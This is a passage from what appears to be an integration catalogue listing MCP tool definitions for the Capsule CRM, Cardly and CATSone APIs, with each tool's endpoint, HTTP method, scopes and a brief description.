by the opportunityIds provided. The opportunityIds must be a comma separated list of integers and can contain at most 10 values. GET /api/v1/capsulecrm/opportunities/multiple/{opportunityIds}. Scopes: read. capsulecrm_get_opportunities_deleted (read) — List deleted opportunities. GET /opportunities/deleted. A collection of opportunities that have been deleted from Capsule since the date specified in the since parameter. Also contains opportunities that have been made restricted for the user calling the API endpoint. GET /api/v1/capsulecrm/opportunities/deleted. Scopes: read. capsulecrm_get_opportunities_search (read) — Search opportunities. GET /opportunities/search. Search for opportunities on the Capsule account. This will return the same results as the global search inside Capsule. If you're looking for a more structured search endpoint you can use Filters to search by a specific field or tag. GET /api/v1/capsulecrm/opportunities/search. Scopes: read. capsulecrm_get_parties (read) — List parties. GET /parties. The collection of Parties on the Capsule account. GET /api/v1/capsulecrm/parties. Scopes: read. capsulecrm_get_parties_by_partyid (read) — Show party. GET /parties/{partyId}. Show a specific person or organisation. GET /api/v1/capsulecrm/parties/{partyId}. Scopes: read. capsulecrm_get_parties_by_partyid_kases (read) — List projects by party. GET /parties/{partyId}/kases. The collection of all projects associated with the given party. GET /api/v1/capsulecrm/parties/{partyId}/kases. Scopes: read. capsulecrm_get_parties_by_partyid_opportunities (read) — List opportunities by party. GET /parties/{partyId}/opportunities. The collection of all opportunities associated with the given party. GET /api/v1/capsulecrm/parties/{partyId}/opportunities. Scopes: read. capsulecrm_get_parties_by_partyid_people (read) — List employees. GET /parties/{partyId}/people. The collection of employees linked to this organisation. GET /api/v1/capsulecrm/parties/{partyId}/people. Scopes: read. capsulecrm_get_parties_by_partyids (read) — Show multiple parties. GET /parties/{partyIds}. Allows to load a list of parties by providing their unique ids. partyIds must be a comma separated list of integers and can contain at most 10 values. GET /api/v1/capsulecrm/parties/multiple/{partyIds}. Scopes: read. capsulecrm_get_parties_deleted (read) — List deleted parties. GET /parties/deleted. A collection of parties that have been deleted from Capsule since the date specified in the since parameter. Also contains parties that have been made restricted for the user calling the API endpoint. GET /api/v1/capsulecrm/parties/deleted. Scopes: read. capsulecrm_get_parties_search (read) — Search parties. GET /parties/search. Search for parties on the Capsule account. This will return the same results as the global search inside Capsule. If you're looking for a more structured search endpoint you can use Filters to search by a specific field or tag. GET /api/v1/capsulecrm/parties/search. Scopes: read. capsulecrm_get_pipelines (read) — List pipelines. GET /pipelines. The collection of pipelines on the Capsule account. GET /api/v1/capsulecrm/pipelines. Scopes: read. capsulecrm_get_pipelines_by_pipelineid (read) — Show pipeline. GET /pipelines/{pipelineId}. Show a specific pipeline. GET /api/v1/capsulecrm/pipelines/{pipelineId}. Scopes: read. capsulecrm_get_pipelines_by_pipelineid_milestones (read) — List milestones by pipeline. GET /pipelines/{pipelineId}/milestones. List milestones associated with a pipeline. GET /api/v1/capsulecrm/pipelines/{pipelineId}/milestones. Scopes: read. capsulecrm_get_pipelines_by_pipelineids (read) — Show multiple pipelines. GET /pipelines/{pipelineIds}. Allows to load a list of pipelines by providing their unique ids. pipelineIds must be a comma separated list of integers and can contain at most 10 values. GET /api/v1/capsulecrm/pipelines/multiple/{pipelineIds}. Scopes: read. capsulecrm_get_resthooks (read) — List REST hooks. GET /resthooks. The collection of REST hooks currently subscribed on the account. If authenticated via a registered application, only REST hooks subscribed by that application will be returned. GET /api/v1/capsulecrm/resthooks. Scopes: read. capsulecrm_get_resthooks_by_resthookid (read) — Show REST hook. GET /resthooks/{restHookId}. Show a specific REST hook. The REST hook is only visible to users authenticated via the registered application that subscribed it. GET /api/v1/capsulecrm/resthooks/{restHookId}. Scopes: read. capsulecrm_get_site (read) — Show site address. GET /site. Shows the details of the site address the provided access token is associated with. GET /api/v1/capsulecrm/site. Scopes: read. capsulecrm_get_stages (read) — List stages. GET /stages. The collection of stages on the Capsule account. GET /api/v1/capsulecrm/stages. Scopes: read. capsulecrm_get_stages_by_stageid (read) — Show stage. GET /stages/{stageId}. Show a specific stage. GET /api/v1/capsulecrm/stages/{stageId}. Scopes: read. capsulecrm_get_tasks (read) — List tasks. GET /tasks. The collection of Tasks on the Capsule account. By default the body will contain only the open tasks. If you want to retrieve pending and/or completed tasks use the status query parameter. GET /api/v1/capsulecrm/tasks. Scopes: read. capsulecrm_get_tasks_by_taskid (read) — Show task. GET /tasks/{taskId}. Show a specific task. GET /api/v1/capsulecrm/tasks/{taskId}. Scopes: read. capsulecrm_get_teams (read) — List teams. GET /teams. List all the teams on this Capsule account. GET /api/v1/capsulecrm/teams. Scopes: read. capsulecrm_get_teams_by_teamid (read) — Show team. GET /teams/{teamId}. Show a specific team. GET /api/v1/capsulecrm/teams/{teamId}. Scopes: read. capsulecrm_get_titles (read) — List custom titles. GET /titles. List custom titles for this Capsule account. GET /api/v1/capsulecrm/titles. Scopes: read. capsulecrm_get_trackdefinitions (read) — List track definitions. GET /trackdefinitions. List track definitions with the option to filter for track definitions for parties, opportunities or projects. GET /api/v1/capsulecrm/trackdefinitions. Scopes: read. capsulecrm_get_trackdefinitions_by_trackdefinitionid (read) — Show track definition. GET /trackdefinitions/{trackDefinitionId}. Show a specific track definition. GET /api/v1/capsulecrm/trackdefinitions/{trackDefinitionId}. Scopes: read. capsulecrm_get_tracks_by_trackid (read) — Show track. GET /tracks/{trackId}. Show a specific track. GET /api/v1/capsulecrm/tracks/{trackId}. Scopes: read. capsulecrm_get_users (read) — List users. GET /users. List all the users on this Capsule account. GET /api/v1/capsulecrm/users. Scopes: read. capsulecrm_get_users_by_userid (read) — Show user. GET /users/{userId}. Retrieve a specific user. Each user has an associated Party record. It stores additional information about the user, including email addresses, phone numbers etc. In order to retrieve user information stored in a user's party record, you can embed party in the query. GET /api/v1/capsulecrm/users/{userId}. Scopes: read. capsulecrm_get_users_current (read) — Show current user. GET /users/current. Shows the details of the user the provided access token is associated with. In most cases this will be the user who approved your application. Each user has an associated Party record. It stores additional information about the user, including email addresses, phone numbers etc. In order to retrieve GET /api/v1/capsulecrm/users/current. Scopes: read. capsulecrm_post_activitytypes (write) — Create activity type. POST /activitytypes. Creates a new activity type. The body must contain an object with a single property activityType which must be an Activity Type object. Please be aware that creating an activity type is only possible on a teams edition Capsule account. POST /api/v1/capsulecrm/activitytypes. Scopes: write. capsulecrm_post_attachments_upload (write) — Upload attachment. POST /attachments/upload. Upload an attachment ready to be attached to an entry. The following request headers are required. Content-Type - should be set to the MIME type of the file being uploaded. Content-Length - should be set to the length of the file being uploaded in bytes. X-Attachment-Filename - should be set to a U POST /api/v1/capsulecrm/attachments/upload. Scopes: write. capsulecrm_post_boards (write) — Create board. POST /boards. Creates a new board. The body must contain an object with a single property board which must be a Board object. Capsule accounts can have at most 30 active (non-archived) boards at any one time. This operation requires the authenticated user to have an Administrator role on the Capsule account. POST /api/v1/capsulecrm/boards. Scopes: write. capsulecrm_post_boards_by_boardid_restore (write) — Restore board. POST /boards/{boardId}/restore. Restore an archived board. This operation requires the authenticated user to have an Administrator role on the Capsule account. POST /api/v1/capsulecrm/boards/{boardId}/restore. Scopes: write. capsulecrm_post_by_entity_fields_definitions (write) — Create custom field. POST /{entity}/fields/definitions. Creates a new party, opportunity or project custom field specified by the entity parameter inside the URL, which must be parties, opportunities or kases. Custom fields can be created on data tags - i.e. tags with dataTag set to true. Simply specify the id or name of the tag in the request body as POST /api/v1/capsulecrm/{entity}/fields/definitions. Scopes: write. capsulecrm_post_by_entity_filters_results (write) — Run query. POST /{entity}/filters/results. Runs a query and returns the matching results. The entity parameter in the URL determines which entity type to search and must be one of parties, opportunities or kases (projects). The conditions field in the request body is used to specify the search criteria. POST /api/v1/capsulecrm/{entity}/filters/results. Scopes: write. capsulecrm_post_by_entity_tags (write) — Create tag definition. POST /{entity}/tags. Defines a new party, opportunity or project tag. The type of this tag is defined by the entity parameter inside the URL which must be parties, opportunities or kases. The body must contain an object with a single property tag which must be a Tag Definition object. To create a new data tag set the POST /api/v1/capsulecrm/{entity}/tags. Scopes: write. capsulecrm_post_categories (write) — Create task category. POST /categories. Creates a new task category. The body must contain an object with a single property category which must be a Category object. POST /api/v1/capsulecrm/categories. Scopes: write. capsulecrm_post_entries (write) — Create entry. POST /entries. POST /api/v1/capsulecrm/entries. Scopes: write. capsulecrm_post_goals (write) — Create goal. POST /goals. Creates a new goal. The body must contain an object with a single property goal which must be a Goal object. POST /api/v1/capsulecrm/goals. Scopes: write. capsulecrm_post_kases (write) — Create project. POST /kases. POST /api/v1/capsulecrm/kases. Scopes: write. capsulecrm_post_kases_by_projectid_parties_by_partyid (write) — Add additional party (Project). POST /kases/{projectId}/parties/{partyId}. Add a person or organisation as an additional contact to the project. POST /api/v1/capsulecrm/kases/{projectId}/parties/{partyId}. Scopes: write. capsulecrm_post_lostreasons (write) — Create lost reason. POST /lostreasons. Creates a new lost reason. The body must contain an object with a single property lostReason which must be a Lost Reason object. This operation requires the authenticated user has an Administrator role on the Capsule account. POST /api/v1/capsulecrm/lostreasons. Scopes: write. capsulecrm_post_milestones (write) — Create milestone. POST /milestones. Creates a new opportunity milestone. The body must contain an object with a single property milestone which must be a Milestone object. POST /api/v1/capsulecrm/milestones. Scopes: write. capsulecrm_post_opportunities (write) — Create opportunity. POST /opportunities. POST /api/v1/capsulecrm/opportunities. Scopes: write. capsulecrm_post_opportunities_by_opportunityid_parties_by_partyid (write) — Add additional party (Opportunity). POST /opportunities/{opportunityId}/parties/{partyId}. Add a person or organisation as an additional contact to the opportunity. POST /api/v1/capsulecrm/opportunities/{opportunityId}/parties/{partyId}. Scopes: write. capsulecrm_post_parties (write) — Create party. POST /parties. POST /api/v1/capsulecrm/parties. Scopes: write. capsulecrm_post_pipelines (write) — Create pipeline. POST /pipelines. Creates a new pipeline. The body must contain an object with a single property pipeline which must be a Pipeline object. Capsule accounts can have at most 30 active (non-archived) pipelines at any one time. This operation requires the authenticated user to have an Administrator role on the Capsule POST /api/v1/capsulecrm/pipelines. Scopes: write. capsulecrm_post_pipelines_by_pipelineid_duplicate (write) — Duplicate pipeline. POST /pipelines/{pipelineId}/duplicate. Duplicate a specific pipeline. This operation requires the authenticated user to have an Administrator role on the Capsule account. POST /api/v1/capsulecrm/pipelines/{pipelineId}/duplicate. Scopes: write. capsulecrm_post_pipelines_by_pipelineid_restore (write) — Restore pipeline. POST /pipelines/{pipelineId}/restore. Restore an archived pipeline. This operation requires the authenticated user to have an Administrator role on the Capsule account. POST /api/v1/capsulecrm/pipelines/{pipelineId}/restore. Scopes: write. capsulecrm_post_resthooks (write) — Subscribe REST hook. POST /resthooks. Subscribes to an event in Capsule. A maximum 20 REST hooks can be subscribed per account. The body must contain an object with a single property restHook which must be a REST Hook object. This operation requires that the User has an Administrator role on the account, and is authenticated via a regi POST /api/v1/capsulecrm/resthooks. Scopes: write. capsulecrm_post_stages (write) — Create stage. POST /stages. Creates a new stage. The body must contain an object with a single property stage which must be a Stage object. This operation requires the authenticated user to have an Administrator role on the Capsule account. POST /api/v1/capsulecrm/stages. Scopes: write. capsulecrm_post_tasks (write) — Create task. POST /tasks. Creates a new task. The body must contain an object with a single property task which must be a Task object. POST /api/v1/capsulecrm/tasks. Scopes: write. capsulecrm_post_titles (write) — Create custom title. POST /titles. Create a new custom title. The body must contain an object with a single property personTitle which must be a Title object. Capsule accounts can have at most 50 custom titles. This operation requires the authenticated user has an Administrator role on the Capsule account. POST /api/v1/capsulecrm/titles. Scopes: write. capsulecrm_post_trackdefinitions (write) — Create track definition. POST /trackdefinitions. Create a track definition. POST /api/v1/capsulecrm/trackdefinitions. Scopes: write. capsulecrm_post_tracks (write) — Create track. POST /tracks. Applies a Track definition to a party, opportunity or project to create a track. POST /api/v1/capsulecrm/tracks. Scopes: write. capsulecrm_put_activitytypes_by_activitytypeid (write) — Update activity type. PUT /activitytypes/{activityTypeId}. Updates an existing activity type. The body must contain an object with a single property activityType which must be an Activity Type object. Fields that are not included in the request will remain unchanged. PUT /api/v1/capsulecrm/activitytypes/{activityTypeId}. Scopes: write. capsulecrm_put_boards_by_boardid (write) — Update board. PUT /boards/{boardId}. Update an existing board. The body must contain an object with a single property board which must be a Board object. Fields that are not included in the request will remain unchanged. This operation requires the authenticated user to have an Administrator role on the Capsule account. PUT /api/v1/capsulecrm/boards/{boardId}. Scopes: write. capsulecrm_put_by_entity_fields_definitions_by_fieldid (write) — Update custom field. PUT /{entity}/fields/definitions/{fieldId}. Update the details of a party, opportunity or project field definition. The body must contain an object with a single property definition which must be a Field Definition object. PUT /api/v1/capsulecrm/{entity}/fields/definitions/{fieldId}. Scopes: write. capsulecrm_put_by_entity_tags_by_tagid (write) — Update tag definition. PUT /{entity}/tags/{tagId}. Update the details of a party, opportunity or project tag. The body must contain an object with a single property tag which must be a Tag Definition object. To convert a data tag back to a simple tag you will need to first delete all the custom field definitions linked to it and then set the dataTa PUT /api/v1/capsulecrm/{entity}/tags/{tagId}. Scopes: write. capsulecrm_put_categories_by_categoryid (write) — Update task category. PUT /categories/{categoryId}. Allows to rename or change the colour of the task category. The body must contain an object with a single property category which must be a Category object. PUT /api/v1/capsulecrm/categories/{categoryId}. Scopes: write. capsulecrm_put_entries_by_id (write) — Update entry. PUT /entries/{id}. Update the content of notes and emails. The body must contain an object with a single property entry which must be an Entry object. This endpoint can only be applied to entries of type email or note. To apply changes to entities in attachments you can do the following: To add a new entity: create PUT /api/v1/capsulecrm/entries/{id}. Scopes: write. capsulecrm_put_goals_by_goalid (write) — Update goal. PUT /goals/{goalId}. Update an existing goal. The body must contain an object with a single property goal which must be a Goal object. Goal assignee, type, pipeline and milestone cannot be changed. PUT /api/v1/capsulecrm/goals/{goalId}. Scopes: write. capsulecrm_put_kases_by_projectid (write) — Update project. PUT /kases/{projectId}. Updates an existing project. The body must contain an object with a single property kase which must be a Project object. Fields that are not included in the request will remain unchanged. An owner and/or team are required on a project. To apply changes to entities in the tags or fields collections PUT /api/v1/capsulecrm/kases/{projectId}. Scopes: write. capsulecrm_put_lostreasons_by_lostreasonid (write) — Update lost reason. PUT /lostreasons/{lostReasonId}. Update the name and inclusion in conversion calculation of lost reason. The body must contain an object with a single property lostReason which must be a Lost Reason object. Fields that are not included in the request will remain unchanged. This operation requires the authenticated user has an Admi PUT /api/v1/capsulecrm/lostreasons/{lostReasonId}. Scopes: write. capsulecrm_put_milestones_by_milestoneid (write) — Update milestone. PUT /milestones/{milestoneId}. Update the name, description or probability of a milestone. The body must contain an object with a single property milestone which must be a Milestone object. PUT /api/v1/capsulecrm/milestones/{milestoneId}. Scopes: write. capsulecrm_put_opportunities_by_opportunityid (write) — Update opportunity. PUT /opportunities/{opportunityId}. Updates an existing opportunity. The body must contain an object with a single property opportunity which must be an Opportunity object. Fields that are not included in the request will remain unchanged. An owner and/or team are required on an opportunity. To apply changes to entities in the tags o PUT /api/v1/capsulecrm/opportunities/{opportunityId}. Scopes: write. capsulecrm_put_parties_by_partyid (write) — Update party. PUT /parties/{partyId}. Update an existing party. The body must contain an object with a single property party which must be a Party object. Fields that are not included in the request will remain unchanged. The owner and team are optional, with either owner and/or team being provided to assign the party to a user and/or PUT /api/v1/capsulecrm/parties/{partyId}. Scopes: write. capsulecrm_put_pipelines_by_pipelineid (write) — Update pipeline. PUT /pipelines/{pipelineId}. Update an existing pipeline. The body must contain an object with a single property pipeline which must be a Pipeline object. Fields that are not included in the request will remain unchanged. This operation requires the authenticated user to have an Administrator role on the Capsule account. PUT /api/v1/capsulecrm/pipelines/{pipelineId}. Scopes: write. capsulecrm_put_stages_by_stageid (write) — Update stage. PUT /stages/{stageId}. Update the name, description or position of a stage. The body must contain an object with a single property stage which must be a Stage object. This operation requires the authenticated user to have an Administrator role on the Capsule account. PUT /api/v1/capsulecrm/stages/{stageId}. Scopes: write. capsulecrm_put_tasks_by_taskid (write) — Update task. PUT /tasks/{taskId}. Update the specified task. The body must contain an object with a single property task which must be a Task object. Fields that are not included in the request will remain unchanged. PUT /api/v1/capsulecrm/tasks/{taskId}. Scopes: write. capsulecrm_put_trackdefinitions_by_trackdefinitionid (write) — Update track definition. PUT /trackdefinitions/{trackDefinitionId}. PUT /api/v1/capsulecrm/trackdefinitions/{trackDefinitionId}. Scopes: write. capsulecrm_put_tracks_by_trackid (write) — Update track. PUT /tracks/{trackId}. Updates basic details about the track - only description and trackDateOn can be modified by this endpoint. PUT /api/v1/capsulecrm/tracks/{trackId}. Scopes: write. capsulecrm_put_users_by_userid (write) — Update user. PUT /users/{userId}. Update an existing user. The body must contain an object with a single property user which must be a User object. Fields that are not included in the requests will remain unchanged. While it's not possible to change which party a user is linked to, you can update the party itself by editing it dire PUT /api/v1/capsulecrm/users/{userId}. Scopes: write. ================================================================================ ## Cardly URL: https://www.agenticfabriq.com/integrations/cardly Section: Integrated Tools Cardly — 49 MCP tools Provider key: cardly. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. cardly_delete_art_by_id (write, destructive) — Delete Artwork via DELETE /art/{id}. Delete a piece of artwork owned by your organisation. DELETE /api/v1/cardly/art/{id}. Scopes: api. cardly_delete_contact_lists_by_id (write, destructive) — Delete Contact List via DELETE /contact-lists/{id}. Delete a contact list, disabling any automations linked to it. DELETE /api/v1/cardly/contact-lists/{id}. Scopes: api. cardly_delete_contact_lists_by_listid_contacts (write, destructive) — Delete Contact by Email or External ID via DELETE /contact-lists/{listId}/contacts. Delete a contact identified by a body field rather than by a path id, disabling any automations linked to it. Matching is performed in order of external ID then email address, and at least one must be supplied. Cardly titles this operation and the by-id delete identically; the name here follows the vendor's own convention for the invitation and user pairs of the same shape. DELETE /api/v1/cardly/contact-lists/{listId}/contacts. Scopes: api. cardly_delete_contact_lists_by_listid_contacts_by_id (write, destructive) — Delete Contact via DELETE /contact-lists/{listId}/contacts/{id}. Delete a contact, disabling any automations linked to it. DELETE /api/v1/cardly/contact-lists/{listId}/contacts/{id}. Scopes: api. cardly_delete_invitations (write, destructive) — Delete Invitation by Email via DELETE /invitations. Delete an invitation by email address, immediately invalidating it for acceptance. DELETE /api/v1/cardly/invitations. Scopes: api. cardly_delete_invitations_by_id (write, destructive) — Delete Invitation via DELETE /invitations/{id}. Delete an invitation by unique ID address, immediately invalidating it for acceptance. DELETE /api/v1/cardly/invitations/{id}. Scopes: api. cardly_delete_users (write, destructive) — Delete User by Email via DELETE /users. Delete a user by email address, immediately revoking their access to your organisation portal. **Please note:** Access can not be removed for users with `administrator` privileges on your account. These must be removed via your portal directly. DELETE /api/v1/cardly/users. Scopes: api. cardly_delete_users_by_id (write, destructive) — Delete user via DELETE /users/{id}. Delete a user by unique ID address, immediately revoking their access to your organisation portal. **Please note:** Access can not be removed for users with `administrator` privileges on your account. These must be removed via your portal directly. DELETE /api/v1/cardly/users/{id}. Scopes: api. cardly_delete_webhooks_by_id (write, destructive) — Delete Webhook via DELETE /webhooks/{id}. Delete a given webhook and cease all activity and event subscriptions immediately. DELETE /api/v1/cardly/webhooks/{id}. Scopes: api. cardly_get_account_balance (read) — Retrieve Account Balance via GET /account/balance. This endpoint allows you to quickly query the current balance for your organisation. Where relevant, API calls which consume or have the potential to consume balance will return your organisation's balance in the return structure for convenience. This will allow you to easily determine if additional balance should be added to your account if not utilising the automatic account topup feature. GET /api/v1/cardly/account/balance. Scopes: api. cardly_get_account_credit_history (read) — List Credit History via GET /account/credit-history. Retrieve a section of balance history records pertaning to your organistaion. This will list both credits and debits, along with links / reasons for each, where applicable. This request accepts standard pagination options `limit, offset` along with the following additional filters: GET /api/v1/cardly/account/credit-history. Scopes: api. cardly_get_account_gift_credit_history (read) — List Gift Credit History via GET /account/gift-credit-history. Retrieve a section of gift credit history records pertaning to your organistaion. This will list both credits and debits, along with links / reasons for each, where applicable. This request accepts standard pagination options `limit, offset` along with the following additional filters: GET /api/v1/cardly/account/gift-credit-history. Scopes: api. cardly_get_art (read) — List Artwork via GET /art. Retrieve the currently available artwork for your organisation. This request accepts standard pagination options `limit, offset` along with the following additional filters: GET /api/v1/cardly/art. Scopes: api. cardly_get_art_by_id (read) — Retrieve Artwork via GET /art/{id}. Retrieve information on a specific piece of artwork. GET /api/v1/cardly/art/{id}. Scopes: api. cardly_get_contact_lists (read) — List Contact Lists via GET /contact-lists. Retrieve active contact lists for your organisation. GET /api/v1/cardly/contact-lists. Scopes: api. cardly_get_contact_lists_by_id (read) — Retrieve Contact List via GET /contact-lists/{id}. Retrieve information on a specific contact list. GET /api/v1/cardly/contact-lists/{id}. Scopes: api. cardly_get_contact_lists_by_listid_contacts (read) — List Contacts via GET /contact-lists/{listId}/contacts. Retrieve active contacts in a given list. GET /api/v1/cardly/contact-lists/{listId}/contacts. Scopes: api. cardly_get_contact_lists_by_listid_contacts_by_id (read) — Retrieve Contact via GET /contact-lists/{listId}/contacts/{id}. Retrieve information on a specific contact from a given list, identified by Cardly's unique identifier for the record. GET /api/v1/cardly/contact-lists/{listId}/contacts/{id}. Scopes: api. cardly_get_contact_lists_by_listid_contacts_find (read) — Search Contacts via GET /contact-lists/{listId}/contacts/find. Retrieve information on a specific contact from a given list, searching for the contact by an email address or previously supplied external identifier. GET /api/v1/cardly/contact-lists/{listId}/contacts/find. Scopes: api. cardly_get_doodles (read) — List Doodles via GET /doodles. Retrieve your currently available doodles. This request accepts standard pagination options `limit, offset` along with the following additional filters: GET /api/v1/cardly/doodles. Scopes: api. cardly_get_fonts (read) — List Fonts via GET /fonts. Retrieve your currently available fonts. This request accepts standard pagination options `limit, offset` along with the following additional filters: GET /api/v1/cardly/fonts. Scopes: api. cardly_get_invitations (read) — List Invitations via GET /invitations. Retrieve active invitations for your organisation. This request accepts standard pagination options `limit, offset` along with the following additional filters: GET /api/v1/cardly/invitations. Scopes: api. cardly_get_invitations_by_id (read) — Retrieve Invitation via GET /invitations/{id}. Retrieve information on a specific invitation, identified by Cardly's unique identifier for the record. GET /api/v1/cardly/invitations/{id}. Scopes: api. cardly_get_invitations_find (read) — Find Invitation via GET /invitations/find. Retrieve information on a specific invitation, searching by a provided email address. GET /api/v1/cardly/invitations/find. Scopes: api. cardly_get_media (read) — List Media via GET /media. Retrieve the currently available media sizes for product artwork. This request accepts standard pagination options `limit, offset` along with the following additional filters: GET /api/v1/cardly/media. Scopes: api. cardly_get_orders (read) — List Orders via GET /orders. Retrieve orders placed by your organisation. GET /api/v1/cardly/orders. Scopes: api. cardly_get_orders_by_id (read) — Retrieve Order via GET /orders/{id}. Retrieve information on a specific order. GET /api/v1/cardly/orders/{id}. Scopes: api. cardly_get_templates (read) — List Templates via GET /templates. Retrieve your currently available templates. GET /api/v1/cardly/templates. Scopes: api. cardly_get_users (read) — List Users via GET /users. Retrieve active users for your organisation. GET /api/v1/cardly/users. Scopes: api. cardly_get_users_by_id (read) — Retrieve User via GET /users/{id}. Retrieve information on a specific user, identified by Cardly's unique identifier for the record. GET /api/v1/cardly/users/{id}. Scopes: api. cardly_get_users_find (read) — Find User via GET /users/find. Retrieve information on a specific user, searching by a provided email address. GET /api/v1/cardly/users/find. Scopes: api. cardly_get_webhooks (read) — List Webhooks via GET /webhooks. Retrieve any active or disabled webhooks set up for your organisation. GET /api/v1/cardly/webhooks. Scopes: api. cardly_get_webhooks_by_id (read) — Get Webhook Details via GET /webhooks/{id}. Get details on an existing webhook. GET /api/v1/cardly/webhooks/{id}. Scopes: api. cardly_get_writing_styles (read) — List Writing Styles via GET /writing-styles. Retrieve your currently available writing styles. GET /api/v1/cardly/writing-styles. Scopes: api. cardly_post_art (write) — Create Artwork via POST /art. Add a new piece of artwork. POST /api/v1/cardly/art. Scopes: api. cardly_post_art_by_id (write) — Edit Artwork via POST /art/{id}. Update a piece of artwork with new descriptors or images. All parameters are optional, and only supplied parameters will be updated. POST /api/v1/cardly/art/{id}. Scopes: api. cardly_post_contact_lists (write) — Create Contact List via POST /contact-lists. Add a new contact list, optionally with custom fields. POST /api/v1/cardly/contact-lists. Scopes: api. cardly_post_contact_lists_by_id (write) — Update Contact List via POST /contact-lists/{id}. Rename a contact list, change its description, or add, edit and remove its custom fields. Cardly's own 2.1.0 document titles this operation "Create Contact List" and describes it as adding a new list, but both lines are copied from `POST /contact-lists`: this operation's own path parameter, `fields` property and 200 response all describe an UPDATE of the list named by {id}. Its request body is described by Cardly's 2.1.0 contract, which 2.2.0 retired -- the route is live (measured) but unversioned, so its accepted fields could change without notice. POST /api/v1/cardly/contact-lists/{id}. Scopes: api. cardly_post_contact_lists_by_listid_contacts (write) — Create Contact via POST /contact-lists/{listId}/contacts. Add a new contact to a given list. **Please note:** contacts added via API calls will be checked for uniqueness based on your externalId and email fields, if supplied. If a contact already exists for one of these fields the addition operation will be rejected. POST /api/v1/cardly/contact-lists/{listId}/contacts. Scopes: api. cardly_post_contact_lists_by_listid_contacts_by_id (write) — Edit Contact via POST /contact-lists/{listId}/contacts/{id}. Edit an existing contact, providing updated information for the contact record. POST /api/v1/cardly/contact-lists/{listId}/contacts/{id}. Scopes: api. cardly_post_contact_lists_by_listid_contacts_sync (write) — Sync Contact via POST /contact-lists/{listId}/contacts/sync. Sync a contact based on an external ID or email address. If a matching contact does not exist, a new one is created, otherwise existing contact records are updated. Previously removed contacts will be reactivated if they match provided details. Contact matching is performed in order of matching external ID or email address. At least one of these details must be provided, and the first matching contact (if found) is used for update operations. POST /api/v1/cardly/contact-lists/{listId}/contacts/sync. Scopes: api. cardly_post_echo (write) — Echo Request via POST /echo. The `echo` endpoint will take any parameters, body structure and headers and return them to you in a JSON structure. You can use this endpoint to quickly debug other requests, validate your authentication, idempotency and other API features without any impact on your account or any risk of credit usage. This endpoint is special in that it will accept **any** HTTP verb and still provide an output to the caller. **Please note:** you must still authenticate to this endpoint and you'll receive appropriate error responses if your API key is invalid or not supplied. POST /api/v1/cardly/echo. Scopes: api. cardly_post_invitations (write) — Create Invitation via POST /invitations. Send an invitation to use your organisation portal, if the provided email address doesn't already have access. POST /api/v1/cardly/invitations. Scopes: api. cardly_post_invitations_resend (write) — Resend Invitation by Email via POST /invitations/resend. Resend an invitation to a specified email address if that invitation has not yet been accepted. POST /api/v1/cardly/invitations/resend. Scopes: api. cardly_post_invitations_resend_by_id (write) — Resend Invitation via POST /invitations/resend/{id}. Resend an invitation identified by Cardly's unique ID. POST /api/v1/cardly/invitations/resend/{id}. Scopes: api. cardly_post_orders_place (write) — Place Order via POST /orders/place. The `place` endpoint allows you to place an order for one or more items, being delivered to one or more distinct recipients. Generally, we recommend that individual orders are created for individual recipients to minimise potential validation and other rejection issues. Note that you must have sufficient credit on your account to place your order. If you have insufficient credit, a `402` response will be returned with detail on the required credit cost and your current balance. POST /api/v1/cardly/orders/place. Scopes: api. cardly_post_orders_preview (write) — Generate Preview via POST /orders/preview. The `preview` endpoint allows you to generate a quick, low-quality, watermarked preview document for a given piece of card art and template, along with passed user data. You will also be provided with delivery window estimates and a projected credit cost for the order based on your passed data. This call is intentionally nearly identical to the `PlaceOrder` function to facilitate testing and a quick migration to ordering. The main difference between these calls is a `PlaceOrder` request permits multiple line items with differing data and settings, while `Preview` deals with only a single card at a time. POST /api/v1/cardly/orders/preview. Scopes: api. cardly_post_webhooks (write) — Create Webhook via POST /webhooks. Create a new webhook for the specified targetUrl. Webhooks allow for near-realtime notifications of events within your Cardly account. POST /api/v1/cardly/webhooks. Scopes: api. cardly_post_webhooks_by_id (write) — Update Webhook via POST /webhooks/{id}. Update a webhook with one or more changes based on the passed properties. Note that changes to the targetUrl or status are immediate, and will update where postbacks are sent for any postbacks queued for retry, or cease sending postbacks if *disabled* is true. POST /api/v1/cardly/webhooks/{id}. Scopes: api. ================================================================================ ## CATSone URL: https://www.agenticfabriq.com/integrations/catsone Section: Integrated Tools CATSone — 217 MCP tools Provider key: catsone. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. catsone_delete_activities_by_id (write, destructive) — Delete an activity via DELETE /activities/{id}. DELETE /api/v1/catsone/activities/{id}. Scopes: api. catsone_delete_attachments_by_id (write, destructive) — Delete an attachment via DELETE /attachments/{id}. DELETE /api/v1/catsone/attachments/{id}. Scopes: api. catsone_delete_candidates_by_candidate_id_emails_by_id (write, destructive) — Delete a candidate email via DELETE /candidates/{candidate_id}/emails/{id}. DELETE /api/v1/catsone/candidates/{candidate_id}/emails/{id}. Scopes: api. catsone_delete_candidates_by_candidate_id_phones_by_id (write, destructive) — Delete a candidate phone via DELETE /candidates/{candidate_id}/phones/{id}. DELETE /api/v1/catsone/candidates/{candidate_id}/phones/{id}. Scopes: api. catsone_delete_candidates_by_candidate_id_tags_by_tag_id (write, destructive) — Delete candidate tag via DELETE /candidates/{candidate_id}/tags/{tag_id}. DELETE /api/v1/catsone/candidates/{candidate_id}/tags/{tag_id}. Scopes: api. catsone_delete_candidates_by_id (write, destructive) — Delete a candidate via DELETE /candidates/{id}. DELETE /api/v1/catsone/candidates/{id}. Scopes: api. catsone_delete_candidates_lists_by_id (write, destructive) — Delete a candidate list via DELETE /candidates/lists/{id}. DELETE /api/v1/catsone/candidates/lists/{id}. Scopes: api. catsone_delete_candidates_lists_by_list_id_items_by_item_id (write, destructive) — Delete a candidate list item via 